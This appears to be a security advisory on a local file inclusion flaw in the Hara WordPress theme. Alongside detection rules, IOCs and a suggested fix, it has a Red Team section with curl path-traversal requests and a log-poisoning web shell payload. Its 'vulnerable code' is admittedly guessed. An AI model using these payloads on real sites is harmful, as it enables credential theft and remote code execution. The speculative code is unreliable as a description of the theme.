CVE-2025-67980

POC_DETAILS: None

Executive Summary

CVE-2025-67980 is a critical PHP Local File Inclusion (LFI) vulnerability affecting the Hara WordPress theme by Thembay, up to and including version 1.2.17. The vulnerability stems from improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., wp-config.php), remote code execution via log poisoning, or further lateral movement. The CVSS score of 8.1 (High) reflects the low attack complexity and network-based vector. No public exploit code or patch is currently available, making this a high-priority zero-day for WordPress sites using the Hara theme.

Supply Chain & Package Security

This vulnerability resides in a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. The supply chain risk is elevated because:

• The vendor (Thembay) has not released a patch.
• The theme may be bundled with premium plugins or child themes, extending the attack surface.
• Sites using automatic updates may still be vulnerable if the theme is not updated manually.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): Low (L) – Limited to file inclusion; no direct write.
• Availability (A): Low (L) – Could lead to denial of service via resource exhaustion.

Threat Level: High. The combination of network exploitability, no authentication, and high confidentiality impact makes this a critical risk for unpatched sites.

Deep Dive & Mechanics

The vulnerability exists in the Hara theme's PHP code, likely in a template or helper function that dynamically includes files based on user-supplied input (e.g., $_GET['file'], $_POST['template'], or a similar parameter). The code fails to sanitize or validate the filename, allowing path traversal sequences like ../../ to escape the intended directory.

Example vulnerable code pattern:

<?php
// In a theme file (e.g., header.php, functions.php)
$file = $_GET['page'];
include( $file . '.php' );
?>

An attacker can exploit this by sending a request such as:

GET /?page=../../../etc/passwd%00

The null byte (%00) may be used to terminate the string, bypassing the .php extension append. Alternatively, if the extension is not appended, direct inclusion of /etc/passwd is possible.

Impact:

• Information Disclosure: Read sensitive files like wp-config.php (database credentials), /etc/shadow, or other PHP files.
• Remote Code Execution: Combine with log poisoning (e.g., injecting PHP code into Apache/Nginx logs via User-Agent) and then include the log file.
• Lateral Movement: Use disclosed credentials to access the database or other services.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical fix:

Vulnerable Code (Hara theme <= 1.2.17):

// functions.php or template-loader.php
function hara_load_template($template_name) {
    $template = $_GET['template'];
    include( get_template_directory() . '/templates/' . $template . '.php' );
}

Patched Code (Recommended):

function hara_load_template($template_name) {
    // Whitelist allowed templates
    $allowed_templates = array('default', 'full-width', 'sidebar');
    $template = sanitize_file_name( $_GET['template'] );
    $template = basename( $template ); // Remove path traversal
    if ( in_array( $template, $allowed_templates ) ) {
        include( get_template_directory() . '/templates/' . $template . '.php' );
    } else {
        // Fallback to default
        include( get_template_directory() . '/templates/default.php' );
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site running Hara theme <= 1.2.17.
• Knowledge of the vulnerable parameter (e.g., page, template, file).

Step 1: Identify the vulnerable parameter Use a web fuzzer (e.g., ffuf, Burp Intruder) to test common parameters:

ffuf -u http://target/?FUZZ=test -w /usr/share/wordlists/params.txt -fc 200,302

Step 2: Basic LFI test

curl -v "http://target/?page=../../../etc/passwd"

If the response contains root:x:0:0:root, the vulnerability is confirmed.

Step 3: Read wp-config.php

curl -v "http://target/?page=../../../wp-config"

(Note: The .php extension may be appended automatically; try without extension or use a null byte.)

Step 4: Log Poisoning for RCE

1. Send a request with a malicious User-Agent:

curl -v -A "<?php system($_GET['cmd']); ?>" "http://target/"

2. Include the access log:

curl -v "http://target/?page=../../../var/log/apache2/access.log&cmd=id"

Blue Team (Defensive)

Detection:

• Monitor for path traversal patterns in HTTP requests (e.g., ../, %2e%2e/).
• Alert on inclusion of sensitive files (/etc/passwd, wp-config.php).
• Use WAF rules to block ../ sequences in query parameters.

Hunting:

• Search web server logs for requests containing page=, template=, or file= parameters with directory traversal.
• Look for anomalous User-Agent strings containing PHP code.

Lab Setup:

1. Install WordPress with Hara theme 1.2.17.
2. Enable detailed logging: sudo tail -f /var/log/apache2/access.log
3. Use a local tool like curl or a Python script to simulate attacks.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing ../ or %2e%2e/ in query parameters.
  • Requests to /?page=, /?template=, /?file= with path traversal.
  • User-Agent strings containing PHP code (e.g., <?php system(...)?>).
• File System IOCs:
  • Unexpected inclusion of /etc/passwd, /etc/shadow, wp-config.php in web responses.
  • Modified web server logs (e.g., access.log) containing PHP code.
• Log IOCs:
  • Apache/Nginx access log entries with "GET /?page=../../../etc/passwd".
  • Error logs showing PHP Warning: include(): Failed opening for non-existent files.

Detection Engineering

YARA Rule

rule CVE_2025_67980_LFI_Hara_Theme {
    meta:
        description = "Detects LFI attempts targeting Hara WordPress theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67980"
    strings:
        $path_traversal = /(page|template|file)=[^&]*\.\.\//
        $sensitive_file = /(etc\/passwd|wp-config|etc\/shadow)/
    condition:
        any of ($path_traversal) and any of ($sensitive_file)
}

Sigma Rule

title: CVE-2025-67980 LFI Attempt on Hara Theme
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects path traversal attempts in HTTP requests targeting Hara theme parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains|all:
            - 'page='
            - '../'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in custom plugins
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67980 LFI Attempt - Hara Theme"; flow:to_server,established; content:"page="; http_uri; content:"../"; http_uri; distance:0; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Hara theme and switch to a default WordPress theme (e.g., Twenty Twenty-Four) until a patch is available.
2. Implement a Web Application Firewall (WAF) rule to block path traversal patterns in query parameters.
3. Restrict file inclusion via .htaccess or Nginx config:

   # Apache
   RewriteCond %{QUERY_STRING} (page|template|file)=.*\.\.
   RewriteRule .* - [F,L]
   

4. Monitor logs for exploitation attempts.

Long-Term Fixes:

• Vendor Patch: Await an official update from Thembay. If none, consider forking the theme and applying the patch manually.
• Code Hardening: Replace dynamic file inclusion with a whitelist approach (see patched code example).
• Update WordPress and all plugins/themes to the latest versions.

Workarounds:

• Use a security plugin like Wordfence to add virtual patching.
• Disable PHP allow_url_include and allow_url_fopen in php.ini (though this is for RFI, it's good practice).

Valters IT
Securing Digital Frontiers